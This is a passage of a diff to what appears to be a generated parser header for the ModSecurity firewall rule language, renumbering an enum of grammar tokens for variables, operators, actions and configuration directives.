= 195, // "SetSid" - S_ACTION_SETUID = 196, // "SetUID" - S_ACTION_SEVERITY = 197, // "Severity" - S_ACTION_SKIP = 198, // "Skip" - S_ACTION_SKIP_AFTER = 199, // "SkipAfter" - S_ACTION_STATUS = 200, // "Status" - S_ACTION_TAG = 201, // "Tag" - S_ACTION_TRANSFORMATION_BASE_64_ENCODE = 202, // "ACTION_TRANSFORMATION_BASE_64_ENCODE" - S_ACTION_TRANSFORMATION_BASE_64_DECODE = 203, // "ACTION_TRANSFORMATION_BASE_64_DECODE" - S_ACTION_TRANSFORMATION_BASE_64_DECODE_EXT = 204, // "ACTION_TRANSFORMATION_BASE_64_DECODE_EXT" - S_ACTION_TRANSFORMATION_CMD_LINE = 205, // "ACTION_TRANSFORMATION_CMD_LINE" - S_ACTION_TRANSFORMATION_COMPRESS_WHITESPACE = 206, // "ACTION_TRANSFORMATION_COMPRESS_WHITESPACE" - S_ACTION_TRANSFORMATION_CSS_DECODE = 207, // "ACTION_TRANSFORMATION_CSS_DECODE" - S_ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE = 208, // "ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE" - S_ACTION_TRANSFORMATION_HEX_ENCODE = 209, // "ACTION_TRANSFORMATION_HEX_ENCODE" - S_ACTION_TRANSFORMATION_HEX_DECODE = 210, // "ACTION_TRANSFORMATION_HEX_DECODE" - S_ACTION_TRANSFORMATION_HTML_ENTITY_DECODE = 211, // "ACTION_TRANSFORMATION_HTML_ENTITY_DECODE" - S_ACTION_TRANSFORMATION_JS_DECODE = 212, // "ACTION_TRANSFORMATION_JS_DECODE" - S_ACTION_TRANSFORMATION_LENGTH = 213, // "ACTION_TRANSFORMATION_LENGTH" - S_ACTION_TRANSFORMATION_LOWERCASE = 214, // "ACTION_TRANSFORMATION_LOWERCASE" - S_ACTION_TRANSFORMATION_MD5 = 215, // "ACTION_TRANSFORMATION_MD5" - S_ACTION_TRANSFORMATION_NONE = 216, // "ACTION_TRANSFORMATION_NONE" - S_ACTION_TRANSFORMATION_NORMALISE_PATH = 217, // "ACTION_TRANSFORMATION_NORMALISE_PATH" - S_ACTION_TRANSFORMATION_NORMALISE_PATH_WIN = 218, // "ACTION_TRANSFORMATION_NORMALISE_PATH_WIN" - S_ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT = 219, // "ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT" - S_ACTION_TRANSFORMATION_PARITY_ODD_7_BIT = 220, // "ACTION_TRANSFORMATION_PARITY_ODD_7_BIT" - S_ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT = 221, // "ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT" - S_ACTION_TRANSFORMATION_REMOVE_COMMENTS = 222, // "ACTION_TRANSFORMATION_REMOVE_COMMENTS" - S_ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR = 223, // "ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR" - S_ACTION_TRANSFORMATION_REMOVE_NULLS = 224, // "ACTION_TRANSFORMATION_REMOVE_NULLS" - S_ACTION_TRANSFORMATION_REMOVE_WHITESPACE = 225, // "ACTION_TRANSFORMATION_REMOVE_WHITESPACE" - S_ACTION_TRANSFORMATION_REPLACE_COMMENTS = 226, // "ACTION_TRANSFORMATION_REPLACE_COMMENTS" - S_ACTION_TRANSFORMATION_REPLACE_NULLS = 227, // "ACTION_TRANSFORMATION_REPLACE_NULLS" - S_ACTION_TRANSFORMATION_SHA1 = 228, // "ACTION_TRANSFORMATION_SHA1" - S_ACTION_TRANSFORMATION_SQL_HEX_DECODE = 229, // "ACTION_TRANSFORMATION_SQL_HEX_DECODE" - S_ACTION_TRANSFORMATION_TRIM = 230, // "ACTION_TRANSFORMATION_TRIM" - S_ACTION_TRANSFORMATION_TRIM_LEFT = 231, // "ACTION_TRANSFORMATION_TRIM_LEFT" - S_ACTION_TRANSFORMATION_TRIM_RIGHT = 232, // "ACTION_TRANSFORMATION_TRIM_RIGHT" - S_ACTION_TRANSFORMATION_UPPERCASE = 233, // "ACTION_TRANSFORMATION_UPPERCASE" - S_ACTION_TRANSFORMATION_URL_ENCODE = 234, // "ACTION_TRANSFORMATION_URL_ENCODE" - S_ACTION_TRANSFORMATION_URL_DECODE = 235, // "ACTION_TRANSFORMATION_URL_DECODE" - S_ACTION_TRANSFORMATION_URL_DECODE_UNI = 236, // "ACTION_TRANSFORMATION_URL_DECODE_UNI" - S_ACTION_TRANSFORMATION_UTF8_TO_UNICODE = 237, // "ACTION_TRANSFORMATION_UTF8_TO_UNICODE" - S_ACTION_VER = 238, // "Ver" - S_ACTION_XMLNS = 239, // "xmlns" - S_CONFIG_COMPONENT_SIG = 240, // "CONFIG_COMPONENT_SIG" - S_CONFIG_CONN_ENGINE = 241, // "CONFIG_CONN_ENGINE" - S_CONFIG_SEC_ARGUMENT_SEPARATOR = 242, // "CONFIG_SEC_ARGUMENT_SEPARATOR" - S_CONFIG_SEC_WEB_APP_ID = 243, // "CONFIG_SEC_WEB_APP_ID" - S_CONFIG_SEC_SERVER_SIG = 244, // "CONFIG_SEC_SERVER_SIG" - S_CONFIG_DIR_AUDIT_DIR = 245, // "CONFIG_DIR_AUDIT_DIR" - S_CONFIG_DIR_AUDIT_DIR_MOD = 246, // "CONFIG_DIR_AUDIT_DIR_MOD" - S_CONFIG_DIR_AUDIT_ENG = 247, // "CONFIG_DIR_AUDIT_ENG" - S_CONFIG_DIR_AUDIT_FLE_MOD = 248, // "CONFIG_DIR_AUDIT_FLE_MOD" - S_CONFIG_DIR_AUDIT_LOG = 249, // "CONFIG_DIR_AUDIT_LOG" - S_CONFIG_DIR_AUDIT_LOG2 = 250, // "CONFIG_DIR_AUDIT_LOG2" - S_CONFIG_DIR_AUDIT_LOG_P = 251, // "CONFIG_DIR_AUDIT_LOG_P" - S_CONFIG_DIR_AUDIT_STS = 252, // "CONFIG_DIR_AUDIT_STS" - S_CONFIG_DIR_AUDIT_TPE = 253, // "CONFIG_DIR_AUDIT_TPE" - S_CONFIG_DIR_DEBUG_LOG = 254, // "CONFIG_DIR_DEBUG_LOG" - S_CONFIG_DIR_DEBUG_LVL = 255, // "CONFIG_DIR_DEBUG_LVL" - S_CONFIG_SEC_CACHE_TRANSFORMATIONS = 256, // "CONFIG_SEC_CACHE_TRANSFORMATIONS" - S_CONFIG_SEC_DISABLE_BACKEND_COMPRESS = 257, // "CONFIG_SEC_DISABLE_BACKEND_COMPRESS" - S_CONFIG_SEC_HASH_ENGINE = 258, // "CONFIG_SEC_HASH_ENGINE" - S_CONFIG_SEC_HASH_KEY = 259, // "CONFIG_SEC_HASH_KEY" - S_CONFIG_SEC_HASH_PARAM = 260, // "CONFIG_SEC_HASH_PARAM" - S_CONFIG_SEC_HASH_METHOD_RX = 261, // "CONFIG_SEC_HASH_METHOD_RX" - S_CONFIG_SEC_HASH_METHOD_PM = 262, // "CONFIG_SEC_HASH_METHOD_PM" - S_CONFIG_SEC_CHROOT_DIR = 263, // "CONFIG_SEC_CHROOT_DIR" - S_CONFIG_DIR_GEO_DB = 264, // "CONFIG_DIR_GEO_DB" - S_CONFIG_DIR_GSB_DB = 265, // "CONFIG_DIR_GSB_DB" - S_CONFIG_SEC_GUARDIAN_LOG = 266, // "CONFIG_SEC_GUARDIAN_LOG" - S_CONFIG_DIR_PCRE_MATCH_LIMIT = 267, // "CONFIG_DIR_PCRE_MATCH_LIMIT" - S_CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION = 268, // "CONFIG_DIR_PCRE_MATCH_LIMIT_RECURSION" - S_CONFIG_SEC_CONN_R_STATE_LIMIT = 269, // "CONFIG_SEC_CONN_R_STATE_LIMIT" - S_CONFIG_SEC_CONN_W_STATE_LIMIT = 270, // "CONFIG_SEC_CONN_W_STATE_LIMIT" - S_CONFIG_SEC_SENSOR_ID = 271, // "CONFIG_SEC_SENSOR_ID" - S_CONFIG_DIR_ARGS_LIMIT = 272, // "CONFIG_DIR_ARGS_LIMIT" - S_CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT = 273, // "CONFIG_DIR_REQ_BODY_JSON_DEPTH_LIMIT" - S_CONFIG_DIR_REQ_BODY = 274, // "CONFIG_DIR_REQ_BODY" - S_CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT = 275, // "CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT" - S_CONFIG_DIR_REQ_BODY_LIMIT = 276, // "CONFIG_DIR_REQ_BODY_LIMIT" - S_CONFIG_DIR_REQ_BODY_LIMIT_ACTION = 277, // "CONFIG_DIR_REQ_BODY_LIMIT_ACTION" - S_CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT = 278, // "CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT" - S_CONFIG_DIR_RES_BODY = 279, // "CONFIG_DIR_RES_BODY" - S_CONFIG_DIR_RES_BODY_LIMIT = 280, // "CONFIG_DIR_RES_BODY_LIMIT" - S_CONFIG_DIR_RES_BODY_LIMIT_ACTION = 281, // "CONFIG_DIR_RES_BODY_LIMIT_ACTION" - S_CONFIG_SEC_RULE_INHERITANCE = 282, // "CONFIG_SEC_RULE_INHERITANCE" - S_CONFIG_SEC_RULE_PERF_TIME = 283, // "CONFIG_SEC_RULE_PERF_TIME" - S_CONFIG_DIR_RULE_ENG = 284, // "CONFIG_DIR_RULE_ENG" - S_CONFIG_DIR_SEC_ACTION = 285, // "CONFIG_DIR_SEC_ACTION" - S_CONFIG_DIR_SEC_DEFAULT_ACTION = 286, // "CONFIG_DIR_SEC_DEFAULT_ACTION" - S_CONFIG_DIR_SEC_MARKER = 287, // "CONFIG_DIR_SEC_MARKER" - S_CONFIG_DIR_UNICODE_MAP_FILE = 288, // "CONFIG_DIR_UNICODE_MAP_FILE" - S_CONFIG_DIR_UNICODE_CODE_PAGE = 289, // "CONFIG_DIR_UNICODE_CODE_PAGE" - S_CONFIG_SEC_COLLECTION_TIMEOUT = 290, // "CONFIG_SEC_COLLECTION_TIMEOUT" - S_CONFIG_SEC_HTTP_BLKEY = 291, // "CONFIG_SEC_HTTP_BLKEY" - S_CONFIG_SEC_INTERCEPT_ON_ERROR = 292, // "CONFIG_SEC_INTERCEPT_ON_ERROR" - S_CONFIG_SEC_REMOTE_RULES_FAIL_ACTION = 293, // "CONFIG_SEC_REMOTE_RULES_FAIL_ACTION" - S_CONFIG_SEC_RULE_REMOVE_BY_ID = 294, // "CONFIG_SEC_RULE_REMOVE_BY_ID" - S_CONFIG_SEC_RULE_REMOVE_BY_MSG = 295, // "CONFIG_SEC_RULE_REMOVE_BY_MSG" - S_CONFIG_SEC_RULE_REMOVE_BY_TAG = 296, // "CONFIG_SEC_RULE_REMOVE_BY_TAG" - S_CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG = 297, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_TAG" - S_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG = 298, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG" - S_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID = 299, // "CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID" - S_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID = 300, // "CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID" - S_CONFIG_UPDLOAD_KEEP_FILES = 301, // "CONFIG_UPDLOAD_KEEP_FILES" - S_CONFIG_UPDLOAD_SAVE_TMP_FILES = 302, // "CONFIG_UPDLOAD_SAVE_TMP_FILES" - S_CONFIG_UPLOAD_DIR = 303, // "CONFIG_UPLOAD_DIR" - S_CONFIG_UPLOAD_FILE_LIMIT = 304, // "CONFIG_UPLOAD_FILE_LIMIT" - S_CONFIG_UPLOAD_FILE_MODE = 305, // "CONFIG_UPLOAD_FILE_MODE" - S_CONFIG_VALUE_ABORT = 306, // "CONFIG_VALUE_ABORT" - S_CONFIG_VALUE_DETC = 307, // "CONFIG_VALUE_DETC" - S_CONFIG_VALUE_HTTPS = 308, // "CONFIG_VALUE_HTTPS" - S_CONFIG_VALUE_OFF = 309, // "CONFIG_VALUE_OFF" - S_CONFIG_VALUE_ON = 310, // "CONFIG_VALUE_ON" - S_CONFIG_VALUE_PARALLEL = 311, // "CONFIG_VALUE_PARALLEL" - S_CONFIG_VALUE_PROCESS_PARTIAL = 312, // "CONFIG_VALUE_PROCESS_PARTIAL" - S_CONFIG_VALUE_REJECT = 313, // "CONFIG_VALUE_REJECT" - S_CONFIG_VALUE_RELEVANT_ONLY = 314, // "CONFIG_VALUE_RELEVANT_ONLY" - S_CONFIG_VALUE_SERIAL = 315, // "CONFIG_VALUE_SERIAL" - S_CONFIG_VALUE_WARN = 316, // "CONFIG_VALUE_WARN" - S_CONFIG_XML_EXTERNAL_ENTITY = 317, // "CONFIG_XML_EXTERNAL_ENTITY" - S_CONGIG_DIR_RESPONSE_BODY_MP = 318, // "CONGIG_DIR_RESPONSE_BODY_MP" - S_CONGIG_DIR_SEC_ARG_SEP = 319, // "CONGIG_DIR_SEC_ARG_SEP" - S_CONGIG_DIR_SEC_COOKIE_FORMAT = 320, // "CONGIG_DIR_SEC_COOKIE_FORMAT" - S_CONFIG_SEC_COOKIEV0_SEPARATOR = 321, // "CONFIG_SEC_COOKIEV0_SEPARATOR" - S_CONGIG_DIR_SEC_DATA_DIR = 322, // "CONGIG_DIR_SEC_DATA_DIR" - S_CONGIG_DIR_SEC_STATUS_ENGINE = 323, // "CONGIG_DIR_SEC_STATUS_ENGINE" - S_CONFIG_SEC_STREAM_IN_BODY_INSPECTION = 324, // "CONFIG_SEC_STREAM_IN_BODY_INSPECTION" - S_CONFIG_SEC_STREAM_OUT_BODY_INSPECTION = 325, // "CONFIG_SEC_STREAM_OUT_BODY_INSPECTION" - S_CONGIG_DIR_SEC_TMP_DIR = 326, // "CONGIG_DIR_SEC_TMP_DIR" - S_DIRECTIVE = 327, // "DIRECTIVE" - S_DIRECTIVE_SECRULESCRIPT = 328, // "DIRECTIVE_SECRULESCRIPT" - S_FREE_TEXT_QUOTE_MACRO_EXPANSION = 329, // "FREE_TEXT_QUOTE_MACRO_EXPANSION" - S_QUOTATION_MARK = 330, // "QUOTATION_MARK" - S_RUN_TIME_VAR_BLD = 331, // "RUN_TIME_VAR_BLD" - S_RUN_TIME_VAR_DUR = 332, // "RUN_TIME_VAR_DUR" - S_RUN_TIME_VAR_HSV = 333, // "RUN_TIME_VAR_HSV" - S_RUN_TIME_VAR_REMOTE_USER = 334, // "RUN_TIME_VAR_REMOTE_USER" - S_RUN_TIME_VAR_TIME = 335, // "RUN_TIME_VAR_TIME" - S_RUN_TIME_VAR_TIME_DAY = 336, // "RUN_TIME_VAR_TIME_DAY" - S_RUN_TIME_VAR_TIME_EPOCH = 337, // "RUN_TIME_VAR_TIME_EPOCH" - S_RUN_TIME_VAR_TIME_HOUR = 338, // "RUN_TIME_VAR_TIME_HOUR" - S_RUN_TIME_VAR_TIME_MIN = 339, // "RUN_TIME_VAR_TIME_MIN" - S_RUN_TIME_VAR_TIME_MON = 340, // "RUN_TIME_VAR_TIME_MON" - S_RUN_TIME_VAR_TIME_SEC = 341, // "RUN_TIME_VAR_TIME_SEC" - S_RUN_TIME_VAR_TIME_WDAY = 342, // "RUN_TIME_VAR_TIME_WDAY" - S_RUN_TIME_VAR_TIME_YEAR = 343, // "RUN_TIME_VAR_TIME_YEAR" - S_VARIABLE = 344, // "VARIABLE" - S_DICT_ELEMENT = 345, // "Dictionary element" - S_DICT_ELEMENT_WITH_EQUALS = 346, // "Dictionary element, with equals" - S_DICT_ELEMENT_REGEXP = 347, // "Dictionary element, selected by regexp" - S_YYACCEPT = 348, // $accept - S_input = 349, // input - S_line = 350, // line - S_audit_log = 351, // audit_log - S_actions = 352, // actions - S_actions_may_quoted = 353, // actions_may_quoted - S_op = 354, // op - S_op_before_init = 355, // op_before_init - S_expression = 356, // expression - S_variables = 357, // variables - S_variables_pre_process = 358, // variables_pre_process - S_variables_may_be_quoted = 359, // variables_may_be_quoted - S_var = 360, // var - S_act = 361, // act - S_setvar_action = 362, // setvar_action - S_run_time_string = 363 // run_time_string + S_VARIABLE_MULTIPART_FILENAME_CHARSET = 17, // VARIABLE_MULTIPART_FILENAME_CHARSET + S_VARIABLE_MULTIPART_FILENAME_LANGUAGE = 18, // VARIABLE_MULTIPART_FILENAME_LANGUAGE + S_VARIABLE_MULTIPART_NAME = 19, // VARIABLE_MULTIPART_NAME + S_VARIABLE_MATCHED_VARS_NAMES = 20, // VARIABLE_MATCHED_VARS_NAMES + S_VARIABLE_MATCHED_VARS = 21, // VARIABLE_MATCHED_VARS + S_VARIABLE_FILES = 22, // VARIABLE_FILES + S_VARIABLE_REQUEST_COOKIES = 23, // VARIABLE_REQUEST_COOKIES + S_VARIABLE_REQUEST_HEADERS = 24, // VARIABLE_REQUEST_HEADERS + S_VARIABLE_RESPONSE_HEADERS = 25, // VARIABLE_RESPONSE_HEADERS + S_VARIABLE_GEO = 26, // VARIABLE_GEO + S_VARIABLE_REQUEST_COOKIES_NAMES = 27, // VARIABLE_REQUEST_COOKIES_NAMES + S_VARIABLE_MULTIPART_PART_HEADERS = 28, // VARIABLE_MULTIPART_PART_HEADERS + S_VARIABLE_ARGS_COMBINED_SIZE = 29, // VARIABLE_ARGS_COMBINED_SIZE + S_VARIABLE_ARGS_GET_NAMES = 30, // VARIABLE_ARGS_GET_NAMES + S_VARIABLE_RULE = 31, // VARIABLE_RULE + S_VARIABLE_ARGS_NAMES = 32, // "Variable ARGS_NAMES" + S_VARIABLE_ARGS_POST_NAMES = 33, // VARIABLE_ARGS_POST_NAMES + S_VARIABLE_AUTH_TYPE = 34, // "AUTH_TYPE" + S_VARIABLE_FILES_COMBINED_SIZE = 35, // "FILES_COMBINED_SIZE" + S_VARIABLE_FILES_TMP_NAMES = 36, // "FILES_TMPNAMES" + S_VARIABLE_FULL_REQUEST = 37, // "FULL_REQUEST" + S_VARIABLE_FULL_REQUEST_LENGTH = 38, // "FULL_REQUEST_LENGTH" + S_VARIABLE_INBOUND_DATA_ERROR = 39, // "INBOUND_DATA_ERROR" + S_VARIABLE_MATCHED_VAR = 40, // "MATCHED_VAR" + S_VARIABLE_MATCHED_VAR_NAME = 41, // "MATCHED_VAR_NAME" + S_VARIABLE_MSC_PCRE_ERROR = 42, // "MSC_PCRE_ERROR" + S_VARIABLE_MSC_PCRE_LIMITS_EXCEEDED = 43, // "MSC_PCRE_LIMITS_EXCEEDED" + S_VARIABLE_MULTIPART_BOUNDARY_QUOTED = 44, // VARIABLE_MULTIPART_BOUNDARY_QUOTED + S_VARIABLE_MULTIPART_BOUNDARY_WHITESPACE = 45, // VARIABLE_MULTIPART_BOUNDARY_WHITESPACE + S_VARIABLE_MULTIPART_CRLF_LF_LINES = 46, // "MULTIPART_CRLF_LF_LINES" + S_VARIABLE_MULTIPART_DATA_AFTER = 47, // "MULTIPART_DATA_AFTER" + S_VARIABLE_MULTIPART_DATA_BEFORE = 48, // VARIABLE_MULTIPART_DATA_BEFORE + S_VARIABLE_MULTIPART_DUPLICATE_PART_HEADER = 49, // "MULTIPART_DUPLICATE_PART_HEADER" + S_VARIABLE_MULTIPART_FILE_LIMIT_EXCEEDED = 50, // "MULTIPART_FILE_LIMIT_EXCEEDED" + S_VARIABLE_MULTIPART_HEADER_FOLDING = 51, // "MULTIPART_HEADER_FOLDING" + S_VARIABLE_MULTIPART_INVALID_HEADER_FOLDING = 52, // "MULTIPART_INVALID_HEADER_FOLDING" + S_VARIABLE_MULTIPART_INVALID_PART = 53, // VARIABLE_MULTIPART_INVALID_PART + S_VARIABLE_MULTIPART_INVALID_QUOTING = 54, // "MULTIPART_INVALID_QUOTING" + S_VARIABLE_MULTIPART_LF_LINE = 55, // VARIABLE_MULTIPART_LF_LINE + S_VARIABLE_MULTIPART_MISSING_SEMICOLON = 56, // VARIABLE_MULTIPART_MISSING_SEMICOLON + S_VARIABLE_MULTIPART_SEMICOLON_MISSING = 57, // VARIABLE_MULTIPART_SEMICOLON_MISSING + S_VARIABLE_MULTIPART_STRICT_ERROR = 58, // "MULTIPART_STRICT_ERROR" + S_VARIABLE_MULTIPART_UNMATCHED_BOUNDARY = 59, // "MULTIPART_UNMATCHED_BOUNDARY" + S_VARIABLE_OUTBOUND_DATA_ERROR = 60, // "OUTBOUND_DATA_ERROR" + S_VARIABLE_PATH_INFO = 61, // "PATH_INFO" + S_VARIABLE_QUERY_STRING = 62, // "QUERY_STRING" + S_VARIABLE_REMOTE_ADDR = 63, // "REMOTE_ADDR" + S_VARIABLE_REMOTE_HOST = 64, // "REMOTE_HOST" + S_VARIABLE_REMOTE_PORT = 65, // "REMOTE_PORT" + S_VARIABLE_REQBODY_ERROR_MSG = 66, // "REQBODY_ERROR_MSG" + S_VARIABLE_REQBODY_ERROR = 67, // "REQBODY_ERROR" + S_VARIABLE_REQBODY_PROCESSOR_ERROR_MSG = 68, // "REQBODY_PROCESSOR_ERROR_MSG" + S_VARIABLE_REQBODY_PROCESSOR_ERROR = 69, // "REQBODY_PROCESSOR_ERROR" + S_VARIABLE_REQBODY_PROCESSOR = 70, // "REQBODY_PROCESSOR" + S_VARIABLE_REQUEST_BASENAME = 71, // "REQUEST_BASENAME" + S_VARIABLE_REQUEST_BODY_LENGTH = 72, // "REQUEST_BODY_LENGTH" + S_VARIABLE_REQUEST_BODY = 73, // "REQUEST_BODY" + S_VARIABLE_REQUEST_FILE_NAME = 74, // "REQUEST_FILENAME" + S_VARIABLE_REQUEST_HEADERS_NAMES = 75, // VARIABLE_REQUEST_HEADERS_NAMES + S_VARIABLE_REQUEST_LINE = 76, // "REQUEST_LINE" + S_VARIABLE_REQUEST_METHOD = 77, // "REQUEST_METHOD" + S_VARIABLE_REQUEST_PROTOCOL = 78, // "REQUEST_PROTOCOL" + S_VARIABLE_REQUEST_URI_RAW = 79, // "REQUEST_URI_RAW" + S_VARIABLE_REQUEST_URI = 80, // "REQUEST_URI" + S_VARIABLE_RESOURCE = 81, // "RESOURCE" + S_VARIABLE_RESPONSE_BODY = 82, // "RESPONSE_BODY" + S_VARIABLE_RESPONSE_CONTENT_LENGTH = 83, // "RESPONSE_CONTENT_LENGTH" + S_VARIABLE_RESPONSE_CONTENT_TYPE = 84, // VARIABLE_RESPONSE_CONTENT_TYPE + S_VARIABLE_RESPONSE_HEADERS_NAMES = 85, // VARIABLE_RESPONSE_HEADERS_NAMES + S_VARIABLE_RESPONSE_PROTOCOL = 86, // "RESPONSE_PROTOCOL" + S_VARIABLE_RESPONSE_STATUS = 87, // "RESPONSE_STATUS" + S_VARIABLE_SERVER_ADDR = 88, // "SERVER_ADDR" + S_VARIABLE_SERVER_NAME = 89, // "SERVER_NAME" + S_VARIABLE_SERVER_PORT = 90, // "SERVER_PORT" + S_VARIABLE_SESSION_ID = 91, // "SESSIONID" + S_VARIABLE_UNIQUE_ID = 92, // "UNIQUE_ID" + S_VARIABLE_URL_ENCODED_ERROR = 93, // "URLENCODED_ERROR" + S_VARIABLE_USER_ID = 94, // "USERID" + S_VARIABLE_WEB_APP_ID = 95, // "WEBAPPID" + S_VARIABLE_STATUS = 96, // "VARIABLE_STATUS" + S_VARIABLE_STATUS_LINE = 97, // "VARIABLE_STATUS_LINE" + S_VARIABLE_IP = 98, // "VARIABLE_IP" + S_VARIABLE_GLOBAL = 99, // "VARIABLE_GLOBAL" + S_VARIABLE_TX = 100, // "VARIABLE_TX" + S_VARIABLE_SESSION = 101, // "VARIABLE_SESSION" + S_VARIABLE_USER = 102, // "VARIABLE_USER" + S_RUN_TIME_VAR_ENV = 103, // "RUN_TIME_VAR_ENV" + S_RUN_TIME_VAR_XML = 104, // "RUN_TIME_VAR_XML" + S_ACTION_SETVAR = 105, // "SetVar" + S_SETVAR_OPERATION_EQUALS = 106, // SETVAR_OPERATION_EQUALS + S_SETVAR_OPERATION_EQUALS_PLUS = 107, // SETVAR_OPERATION_EQUALS_PLUS + S_SETVAR_OPERATION_EQUALS_MINUS = 108, // SETVAR_OPERATION_EQUALS_MINUS + S_NOT = 109, // "NOT" + S_OPERATOR_BEGINS_WITH = 110, // "OPERATOR_BEGINS_WITH" + S_OPERATOR_CONTAINS = 111, // "OPERATOR_CONTAINS" + S_OPERATOR_CONTAINS_WORD = 112, // "OPERATOR_CONTAINS_WORD" + S_OPERATOR_DETECT_SQLI = 113, // "OPERATOR_DETECT_SQLI" + S_OPERATOR_DETECT_XSS = 114, // "OPERATOR_DETECT_XSS" + S_OPERATOR_ENDS_WITH = 115, // "OPERATOR_ENDS_WITH" + S_OPERATOR_EQ = 116, // "OPERATOR_EQ" + S_OPERATOR_FUZZY_HASH = 117, // "OPERATOR_FUZZY_HASH" + S_OPERATOR_GEOLOOKUP = 118, // "OPERATOR_GEOLOOKUP" + S_OPERATOR_GE = 119, // "OPERATOR_GE" + S_OPERATOR_GSB_LOOKUP = 120, // "OPERATOR_GSB_LOOKUP" + S_OPERATOR_GT = 121, // "OPERATOR_GT" + S_OPERATOR_INSPECT_FILE = 122, // "OPERATOR_INSPECT_FILE" + S_OPERATOR_IP_MATCH_FROM_FILE = 123, // "OPERATOR_IP_MATCH_FROM_FILE" + S_OPERATOR_IP_MATCH = 124, // "OPERATOR_IP_MATCH" + S_OPERATOR_LE = 125, // "OPERATOR_LE" + S_OPERATOR_LT = 126, // "OPERATOR_LT" + S_OPERATOR_PM_FROM_FILE = 127, // "OPERATOR_PM_FROM_FILE" + S_OPERATOR_PM = 128, // "OPERATOR_PM" + S_OPERATOR_RBL = 129, // "OPERATOR_RBL" + S_OPERATOR_RSUB = 130, // "OPERATOR_RSUB" + S_OPERATOR_RX_CONTENT_ONLY = 131, // "Operator RX (content only)" + S_OPERATOR_RX = 132, // "OPERATOR_RX" + S_OPERATOR_RX_GLOBAL = 133, // "OPERATOR_RX_GLOBAL" + S_OPERATOR_STR_EQ = 134, // "OPERATOR_STR_EQ" + S_OPERATOR_STR_MATCH = 135, // "OPERATOR_STR_MATCH" + S_OPERATOR_UNCONDITIONAL_MATCH = 136, // "OPERATOR_UNCONDITIONAL_MATCH" + S_OPERATOR_VALIDATE_BYTE_RANGE = 137, // "OPERATOR_VALIDATE_BYTE_RANGE" + S_OPERATOR_VALIDATE_DTD = 138, // "OPERATOR_VALIDATE_DTD" + S_OPERATOR_VALIDATE_HASH = 139, // "OPERATOR_VALIDATE_HASH" + S_OPERATOR_VALIDATE_SCHEMA = 140, // "OPERATOR_VALIDATE_SCHEMA" + S_OPERATOR_VALIDATE_URL_ENCODING = 141, // "OPERATOR_VALIDATE_URL_ENCODING" + S_OPERATOR_VALIDATE_UTF8_ENCODING = 142, // "OPERATOR_VALIDATE_UTF8_ENCODING" + S_OPERATOR_VERIFY_CC = 143, // "OPERATOR_VERIFY_CC" + S_OPERATOR_VERIFY_CPF = 144, // "OPERATOR_VERIFY_CPF" + S_OPERATOR_VERIFY_SSN = 145, // "OPERATOR_VERIFY_SSN" + S_OPERATOR_VERIFY_SVNR = 146, // "OPERATOR_VERIFY_SVNR" + S_OPERATOR_WITHIN = 147, // "OPERATOR_WITHIN" + S_CONFIG_DIR_AUDIT_LOG_FMT = 148, // CONFIG_DIR_AUDIT_LOG_FMT + S_JSON = 149, // JSON + S_NATIVE = 150, // NATIVE + S_ACTION_CTL_RULE_ENGINE = 151, // "ACTION_CTL_RULE_ENGINE" + S_ACTION_ACCURACY = 152, // "Accuracy" + S_ACTION_ALLOW = 153, // "Allow" + S_ACTION_APPEND = 154, // "Append" + S_ACTION_AUDIT_LOG = 155, // "AuditLog" + S_ACTION_BLOCK = 156, // "Block" + S_ACTION_CAPTURE = 157, // "Capture" + S_ACTION_CHAIN = 158, // "Chain" + S_ACTION_CTL_AUDIT_ENGINE = 159, // "ACTION_CTL_AUDIT_ENGINE" + S_ACTION_CTL_AUDIT_LOG_PARTS = 160, // "ACTION_CTL_AUDIT_LOG_PARTS" + S_ACTION_CTL_BDY_JSON = 161, // "ACTION_CTL_BDY_JSON" + S_ACTION_CTL_BDY_XML = 162, // "ACTION_CTL_BDY_XML" + S_ACTION_CTL_BDY_URLENCODED = 163, // "ACTION_CTL_BDY_URLENCODED" + S_ACTION_CTL_FORCE_REQ_BODY_VAR = 164, // "ACTION_CTL_FORCE_REQ_BODY_VAR" + S_ACTION_CTL_PARSE_XML_INTO_ARGS = 165, // "ACTION_CTL_PARSE_XML_INTO_ARGS" + S_ACTION_CTL_REQUEST_BODY_ACCESS = 166, // "ACTION_CTL_REQUEST_BODY_ACCESS" + S_ACTION_CTL_RULE_REMOVE_BY_ID = 167, // "ACTION_CTL_RULE_REMOVE_BY_ID" + S_ACTION_CTL_RULE_REMOVE_BY_TAG = 168, // "ACTION_CTL_RULE_REMOVE_BY_TAG" + S_ACTION_CTL_RULE_REMOVE_TARGET_BY_ID = 169, // "ACTION_CTL_RULE_REMOVE_TARGET_BY_ID" + S_ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG = 170, // "ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG" + S_ACTION_DENY = 171, // "Deny" + S_ACTION_DEPRECATE_VAR = 172, // "DeprecateVar" + S_ACTION_DROP = 173, // "Drop" + S_ACTION_EXEC = 174, // "Exec" + S_ACTION_EXPIRE_VAR = 175, // "ExpireVar" + S_ACTION_ID = 176, // "Id" + S_ACTION_INITCOL = 177, // "InitCol" + S_ACTION_LOG = 178, // "Log" + S_ACTION_LOG_DATA = 179, // "LogData" + S_ACTION_MATURITY = 180, // "Maturity" + S_ACTION_MSG = 181, // "Msg" + S_ACTION_MULTI_MATCH = 182, // "MultiMatch" + S_ACTION_NO_AUDIT_LOG = 183, // 